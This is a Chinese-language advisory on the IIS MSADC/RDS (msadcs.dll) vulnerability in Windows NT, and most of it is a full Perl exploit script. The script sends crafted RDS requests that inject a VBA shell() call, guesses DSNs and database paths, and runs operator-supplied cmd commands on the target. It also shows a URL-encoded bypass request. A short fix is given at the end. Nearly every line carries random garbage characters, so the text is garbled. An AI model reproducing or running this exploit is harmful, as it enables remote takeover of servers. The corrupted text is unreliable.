IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
s2|.LmC3|B MusUgBQy 涉及程序：
\9`
~9#P Microsoft NT server
S a[lYMuB y?O-h1"3, 描述：
DbFe;3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
6B7*| R> NQZ /E )f 详细：
c^pQitPv 如果你没有时间读详细内容的话，就删除:
"U eq c:\Program Files\Common Files\System\Msadc\msadcs.dll
9*K-d' m 有关的安全问题就没有了。
P!IA; i ob2_=hQnC 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
4u%AZ<-C}m +75"Q:I 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
.[1 f$ 关于利用ODBC远程漏洞的描述，请参看:
(GpP=lSSeY [M%? [E}> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &oHr]=xA a:UkVK]MP 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
r4K9W9 0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 4K7ved) W#NZnxOX" 这里不再论述。
\#Jq%nd p_&B+
<z 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
PI`Y%! P lZ[J1:% /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Qb>("j~Z 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
c_+fA 3%GsTq 2o $|J+ #将下面这段保存为txt文件，然后: "perl -x 文件名"
Xxd D)I 6Y,& q| K #!perl
o
-)[{o\ #
%$ Py @g # MSADC/RDS 'usage' (aka exploit) script
G!I5Er0pdy #
G7+ {O7 # by rain.forest.puppy
w+*rbJ #
G/},lUzLg # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
O-W[^r2e # beta test and find errors!
0)b1'xt', "9aFA(H6w use Socket; use Getopt::Std;
F*Hov xez getopts("e:vd:h:XR", \%args);
<X4f2z{T{@ H!X*29nX print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
W5Pur
lu? Te?PYV- if (!defined $args{h} && !defined $args{R}) {
&-Wt!X 3 print qq~
>yn]h4M Usage: msadc.pl -h <host> { -d <delay> -X -v }
lt:&lIW,3 -h <host> = host you want to scan (ip or domain)
c!wRq 4 -d <seconds> = delay between calls, default 1 second
JBJ?|}5k4c -X = dump Index Server path table, if available
dJnKa]X -v = verbose
~aQR_S -e = external dictionary file for step 5
P, l
(4 Vh?vD:| Or a -R will resume a command session
=EA @ XP}5i!}}7= ~; exit;}
2 YWO' PL u1u;a G $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
q5EkAh<PD| if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
dn wzf=+>e if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
I{U | 'a if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`RE>gX $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
G9QvIXRi if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
n7Eh!< BxlhCu if (!defined $args{R}){ $ret = &has_msadc;
M.MQ?`_" b die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y:m8UnT z2, NWmP|w print "Please type the NT commandline you want to run (cmd /c assumed):\n"
mr G?5.7W . "cmd /c ";
w ~crj$ UM $in=<STDIN>; chomp $in;
Ps\4k#aOv $command="cmd /c " . $in ;
R_GA`U\ { ,%xat`d3,3 if (defined $args{R}) {&load; exit;}
4f8XO"k7t= @g;D A)!( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
b`S9#` &try_btcustmr;
s91[DT4 /c-k{5mH% print "\nStep 2: Trying to make our own DSN...";
6 ]<yR>
' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+`Nu0y!rj C\BKdx5; print "\nStep 3: Trying known DSNs...";
yY49JZ &known_dsn;
P(8
u L|^ |P| 2E~[r print "\nStep 4: Trying known .mdbs...";
O_ th/hl &known_mdb;
*)^ ZUk d$+0 ;D4E if (defined $args{e}){
{ 6qxg _{ print "\nStep 5: Trying dictionary of DSN names...";
:PY8)39@K &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ip{ b*@K CW8YNJ' print "Sorry Charley...maybe next time?\n";
AU%Yr 6 exit;
5?
Y(FhnIC /@&o%I3h ##############################################################################
8L/ XZ) eS
?9}TG| sub sendraw { # ripped and modded from whisker
s % Ph sleep($delay); # it's a DoS on the server! At least on mine...
j R\ ! 2! my ($pstr)=@_;
u0o TqD? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T>#~ .4A0 die("Socket problems\n");
4,X C bcC if(connect(S,pack "SnA4x8",2,80,$target)){
G^SJhdO(Q select(S); $|=1;
_]Ob)RUVH print $pstr; my @in=<S>;
qy KR]%yzi select(STDOUT); close(S);
Xf 7]+ return @in;
nC??exc } else { die("Can't connect...\n"); }}
OT|0_d?b D oSy9Xw ##############################################################################
o::9M_; 4%_c 9nat sub make_header { # make the HTTP request
+=|%9% my $msadc=<<EOT
09Eg ti. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
lcReRcj m User-Agent: ACTIVEDATA
]=xX_ Host: $ip
lAC "7 Z?F Content-Length: $clen
ks%;_~b Connection: Keep-Alive
3jJV5J'" jHatUez4O ADCClientVersion:01.06
j)iUg03>/4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#{?RE?nD 7AGUi+!ICl --!ADM!ROX!YOUR!WORLD!
Q u8=zI>t Content-Type: application/x-varg
!e
| Bi{ Content-Length: $reqlen
?LU>2! jN Rx&.,gzj[ EOT
""N~##)8 ; $msadc=~s/\n/\r\n/g;
OR|Jc +LT return $msadc;}
"66#F
gy|o#&e]% ##############################################################################
[GI2%uA0 !S GRK01 sub make_req { # make the RDS request
.s41Tc5u my ($switch, $p1, $p2)=@_;
Rm$( X5x>o my $req=""; my $t1, $t2, $query, $dsn;
Lrr(7cH, ^4\0, > if ($switch==1){ # this is the btcustmr.mdb query
aAn p 7\7 $query="Select * from Customers where City=" . make_shell();
QpoC-4F $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
uXUuA/O5- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
T HK^u+~LM 3tkC mB elsif ($switch==2){ # this is general make table query
uocFOlU0n $query="create table AZZ (B int, C varchar(10))";
.i|nn[H & $dsn="$p1";}
Q4]O d{[ ; }ThBb3 elsif ($switch==3){ # this is general exploit table query
{KEmGHC4R $query="select * from AZZ where C=" . make_shell();
F1M:"-bda $dsn="$p1";}
zq ?xY`E i? eV i elsif ($switch==4){ # attempt to hork file info from index server
% hH> % $query="select path from scope()";
Up_"qD6 $dsn="Provider=MSIDXS;";}
W* v3B. A>FWvlLw'm elsif ($switch==5){ # bad query
N
Mx:Jh-YN $query="select";
NB.'>Sar $dsn="$p1";}
#67 7,dn ;7H^;+P $t1= make_unicode($query);
MTNC{:Q $t2= make_unicode($dsn);
, \RR@~u' $req = "\x02\x00\x03\x00";
mZM7 4 !4X $req.= "\x08\x00" . pack ("S1", length($t1));
]TcQGW@' $req.= "\x00\x00" . $t1 ;
[io|qLr}\ $req.= "\x08\x00" . pack ("S1", length($t2));
-m
;n}ECg $req.= "\x00\x00" . $t2 ;
4)'U!jSb $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
itc\w n return $req;}
%S$$*|_G pNmWBp|ER ##############################################################################
Xi\c>eALO =WZ@ {z9J sub make_shell { # this makes the shell() statement
n:1Ijh
1 return "'|shell(\"$command\")|'";}
e VQ-? DK }*qj,8-9 ##############################################################################
tAY{+N]f .EH1;/ sub make_unicode { # quick little function to convert to unicode
I6@"y0I my ($in)=@_; my $out;
|~18MW for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<K l$ek8 return $out;}
zE/\2F$ 8`]yp7 ueS ##############################################################################
7~k=t!gTY t&EY$'c sub rdo_success { # checks for RDO return success (this is kludge)
N qz6_! my (@in) = @_; my $base=content_start(@in);
0bIgOLP if($in[$base]=~/multipart\/mixed/){
n:k4 t return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Unb3
Gv#O return 0;}
rQ U6*f %9S0!h\ ##############################################################################
=]"I0G-s! kl9~obX
1 sub make_dsn { # this makes a DSN for us
S QGYH my @drives=("c","d","e","f");
Xw7'I print "\nMaking DSN: ";
* >8EMq\^ foreach $drive (@drives) {
I:UDEoQo print "$drive: ";
iXvrZofE my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(vchZn# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+"k?G . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
?~yJ7~3TS< $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
5wl;fL~e return 0 if $2 eq "404"; # not found/doesn't exist
#5'&
|< if($2 eq "200") {
``6- foreach $line (@results) {
o[+t}hC[ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
wArfnB& } return 0;}
6f
?,v5 ReA-. j_2@ ##############################################################################
Vi}E9I4 4fjwC,, sub verify_exists {
{B6ywTK\ ` my ($page)=@_;
~(GN Y5 my @results=sendraw("GET $page HTTP/1.0\n\n");
$ b53~ return $results[0];}
'U0 W F*>#X r~/ ##############################################################################
"h7Dye ;ny 9q sub try_btcustmr {
j F/S2Ty2 my @drives=("c","d","e","f");
8]R{5RGy my @dirs=("winnt","winnt35","winnt351","win","windows");
n 5 ^57[( wEJzLFCn foreach $dir (@dirs) {
v=cQ`nou print "$dir -> "; # fun status so you can see progress
3T4HX|rC foreach $drive (@drives) {
p?4[nS-, print "$drive: "; # ditto
tAI
v+L $reqlen=length( make_req(1,$drive,$dir) ) - 28;
M'|p<SO] $reqlenlen=length( "$reqlen" );
A=p'`]Yld $clen= 206 + $reqlenlen + $reqlen;
\4C[<Gbx$( u |.7w 2 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
u*,>$(-u if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
c/v|e &q else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
o;
U!{G(X N3@ [ 95 ##############################################################################
N#t`ZC&m' MtN!Xx sub odbc_error {
D3P/: 4 my (@in)=@_; my $base;
t4/ye>P & my $base = content_start(@in);
P t/]Z<VL if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
lI.oyR' $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DX+zK'34 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K :~tZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mZPv G return $in[$base+4].$in[$base+5].$in[$base+6];}
1+XM1(|c` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
cGdYfi print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(}.MB3`#C $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
nbf/WOCk ]t` SCso o ##############################################################################
Ot:}Ncq^\O B.~]
7H5"( sub verbose {
fmc \Li my ($in)=@_;
5$N#=i `V return if !$verbose;
)7o? }"I print STDOUT "\n$in\n";}
h,]VWG
[)~1Lu ##############################################################################
;e/F( J 18Z1F sub save {
} *xjO/Ey my ($p1, $p2, $p3, $p4)=@_;
3JBXGT0gJ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6ST(=X_C print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
jY]51B close OUT;}
Gsb^gd N)R5#JX ##############################################################################
4nh=Dq[ fF r9] sub load {
vlE]RB my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7} 6CUo open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ms&1P @p=<IN>; close(IN);
+{V`{' $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
v~x4Y,m% $target= inet_aton($ip) || die("inet_aton problems");
g<.Is
V print "Resuming to $ip ...";
ci$J?a $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Ef 28 if($p[1]==1) {
~ &N e
P $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
xz.Jmv $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
W Q% O/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
#vga
qe9 if (rdo_success(@results)){print "Success!\n";}
0gaHYqkA>} else { print "failed\n"; verbose(odbc_error(@results));}}
yGAFQ|+ elsif ($p[1]==3){
^7YNM<_%@ if(run_query("$p[3]")){
$[,4Ib_| print "Success!\n";} else { print "failed\n"; }}
*vuI'EbM elsif ($p[1]==4){
O#=%t if(run_query($drvst . "$p[3]")){
-eyF9++` print "Success!\n"; } else { print "failed\n"; }}
dM = &?g exit;}
2Ki _d {5<fvMO!6 ##############################################################################
9 i/
( )E>yoUhN sub create_table {
Mb 4"bDBsl my ($in)=@_;
f pq|mY $reqlen=length( make_req(2,$in,"") ) - 28;
6uFw+Ya#
$reqlenlen=length( "$reqlen" );
-b HlFNRm $clen= 206 + $reqlenlen + $reqlen;
/(51\RYkir my @results=sendraw(make_header() . make_req(2,$in,""));
'hs4k|B return 1 if rdo_success(@results);
/:(A9b-B my $temp= odbc_error(@results); verbose($temp);
t(uvc{K * return 1 if $temp=~/Table 'AZZ' already exists/;
H${L F.8 return 0;}
Y_+#|]=$B -9,~b9$ ##############################################################################
WGUw`sc\ 51Y %"v t sub known_dsn {
2HN*j~>i~ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Bps%>P~. my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
'g ,h "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
^4^N} 7>5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
BO G.[?yx :,Y1#_\ foreach $dSn (@dsns) {
~i>DF` w$ print ".";
~o"=4q`> next if (!is_access("DSN=$dSn"));
8{2 if(create_table("DSN=$dSn")){
3-{BXht) print "$dSn successful\n";
3c3;8h$k if(run_query("DSN=$dSn")){
'k cR :5B print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
b& & l print "Something's borked. Use verbose next time\n";}}} print "\n";}
72Y 6gcg e7xBi!I)~ ##############################################################################
oYZ
4F n>j2$m1[ sub is_access {
:e;6oC*"q my ($in)=@_;
j _N<aX $reqlen=length( make_req(5,$in,"") ) - 28;
j7kX"nz $reqlenlen=length( "$reqlen" );
kF~(B]W( $clen= 206 + $reqlenlen + $reqlen;
V@k+RniEO my @results=sendraw(make_header() . make_req(5,$in,""));
.G!xc Q`? my $temp= odbc_error(@results);
=zK4 jiM1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4hwb]
Yz return 0;}
J#F5by%8 b2UDP W ##############################################################################
YxJQ^D` g}D)MlXRq sub run_query {
nco .j: my ($in)=@_;
NOXP}M $reqlen=length( make_req(3,$in,"") ) - 28;
lsOv#X-b E $reqlenlen=length( "$reqlen" );
PD0&ep1h7G $clen= 206 + $reqlenlen + $reqlen;
:! oJmvy my @results=sendraw(make_header() . make_req(3,$in,""));
208 ^Yu return 1 if rdo_success(@results);
jo<x rn\ my $temp= odbc_error(@results); verbose($temp);
HC6U_d1-6 return 0;}
EXr2d" #[ {{&sN ##############################################################################
EpMxq7* rBTg"^jsw sub known_mdb {
X_o#! my @drives=("c","d","e","f","g");
=IsmPQK i my @dirs=("winnt","winnt35","winnt351","win","windows");
xBTx`+%WS my $dir, $drive, $mdb;
D`a6D my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Y|fD)zG_
w_Slg&S # this is sparse, because I don't know of many
\~E?;q! my @sysmdbs=( "\\catroot\\icatalog.mdb",
WT<}3(S'? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
H dqB B "\\system32\\certmdb.mdb",
Bc"M OSV0 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Yjc U2S"=P W4^z KnH my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
[:cD "\\cfusion\\cfapps\\forums\\forums_.mdb",
;kk[x8$ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Intuda7e1 "\\cfusion\\cfapps\\security\\realm_.mdb",
b},2A'X "\\cfusion\\cfapps\\security\\data\\realm.mdb",
G^k'sgy. "\\cfusion\\database\\cfexamples.mdb",
` 5Kg [nB: "\\cfusion\\database\\cfsnippets.mdb",
s;OGb{H7 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
EyA
ny\" "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
<}{<FXk[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
)-)rL@s. "\\cfusion\\database\\smpolicy.mdb",
2lpPN[~d "\\cfusion\\database\cypress.mdb",
))|d~m "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
T:@6(_Z "\\website\\cgi-win\\dbsample.mdb",
yogavCD9b/ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
W-s 6+ DY "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
N<rq}^qo ); #these are just
lfHN_fE>Mq foreach $drive (@drives) {
7s?#y=M foreach $dir (@dirs){
K'Ywv@ foreach $mdb (@sysmdbs) {
. f ja;aG print ".";
e+lun
- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
agx8 *x print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`C S\"|z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
FE!jN-# print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Ur
xiaE } else { print "Something's borked. Use verbose next time\n"; }}}}}
;m7G8)I TUnAsE/J& foreach $drive (@drives) {
'cpm 4mT foreach $mdb (@mdbs) {
8)1q,[:M print ".";
\
T# |<= if(create_table($drv . $drive . $dir . $mdb)){
K`K v .4 print "\n" . $drive . $dir . $mdb . " successful\n";
E,Rj;? if(run_query($drv . $drive . $dir . $mdb)){
:lB`K>)iB} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
j J {F0o } else { print "Something's borked. Use verbose next time\n"; }}}}
LRu,_2" }
r89A X{: /&Oo)OB; ##############################################################################
l|WF S F}u'A,Hc sub hork_idx {
>SDQ@63E? print "\nAttempting to dump Index Server tables...\n";
(Ut8pa+yX print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
p*Q-o $reqlen=length( make_req(4,"","") ) - 28;
!y b06Z\f $reqlenlen=length( "$reqlen" );
B8F b$ $clen= 206 + $reqlenlen + $reqlen;
RD:G 9[ my @results=sendraw2(make_header() . make_req(4,"",""));
$^iio@SW{ if (rdo_success(@results)){
w UxFE=ia my $max=@results; my $c; my %d;
q*
R}yt5 for($c=19; $c<$max; $c++){
u4~+Bc_GL $results[$c]=~s/\x00//g;
\.mVLLtG $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
2]mV9B $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<(jk}wa< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
00 x - $d{"$1$2"}="";}
]%A> swCpn foreach $c (keys %d){ print "$c\n"; }
bs"J]">(N } else {print "Index server doesn't seem to be installed.\n"; }}
{OEjITm 4C 3_ gm ##############################################################################
p$ \>3\ v
^h:E sub dsn_dict {
~ZVz
sNrx open(IN, "<$args{e}") || die("Can't open external dictionary\n");
|iH MAo while(<IN>){
g& e u $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
EU[eG^/0@ next if (!is_access("DSN=$dSn"));
dB_0B . if(create_table("DSN=$dSn")){
J]TqH`MA print "$dSn successful\n";
_l7_!Il_ if(run_query("DSN=$dSn")){
`Jc / o=] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?2&= +QaT print "Something's borked. Use verbose next time\n";}}}
dHIk3j-! print "\n"; close(IN);}
S3Y.+. 0U GmR3
a ##############################################################################
e El)wZ,A $,~Ily7w sub sendraw2 { # ripped and modded from whisker
jvB[bS`<H sleep($delay); # it's a DoS on the server! At least on mine...
r"2lcN E my ($pstr)=@_;
.m]}Ba}J$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
pZ>yBY?R8> die("Socket problems\n");
[ o<hQ`& if(connect(S,pack "SnA4x8",2,80,$target)){
v > wN
O print "Connected. Getting data";
q|<B9Jk open(OUT,">raw.out"); my @in;
} 8 z :L< select(S); $|=1; print $pstr;
'w=|uE {^ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%N-aLw\ close(OUT); select(STDOUT); close(S); return @in;
&qS%~h%2 } else { die("Can't connect...\n"); }}
=Mx"+/Yo* m*]`/:/X [ ##############################################################################
i=#`7pt%'a E\!X$ sub content_start { # this will take in the server headers
+ kMj|()>\ my (@in)=@_; my $c;
C}) Dvh for ($c=1;$c<500;$c++) {
o`c+eMwr( if($in[$c] =~/^\x0d\x0a/){
~Tt @ v`} if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
C^"zU>W_ else { return $c+1; }}}
eY :"\c3
return -1;} # it should never get here actually
=T9h7c R j<~Wp$\i7> ##############################################################################
3F R(gr$X SQ,-45@W sub funky {
-kk7y my (@in)=@_; my $error=odbc_error(@in);
G~1 ;_' if($error=~/ADO could not find the specified provider/){
!-OZ/^l|O` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
lq:q0>vyI exit;}
\B4H0f if($error=~/A Handler is required/){
id:,\iJ print "\nServer has custom handler filters (they most likely are patched)\n";
yo#r^iA r exit;}
/.0K#J:
if($error=~/specified Handler has denied Access/){
UAF$bR print "\nServer has custom handler filters (they most likely are patched)\n";
;F258/J exit;}}
"BSY1?k{ IVh 5SS ##############################################################################
/GGyM]k3 Cw(e7K7& sub has_msadc {
7_ix&oVI my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
et+lL"& my $base=content_start(@results);
#4m5 I=" return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
VF2,(f-* return 0;}
IRQtA
Z V$ i) e6 U(H ########################
,Cy X*k8o &'/" =l K } 9\_s* 解决方案：
mvjx
&+q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
nKGQ U,C 2、移除web 目录: /msadc
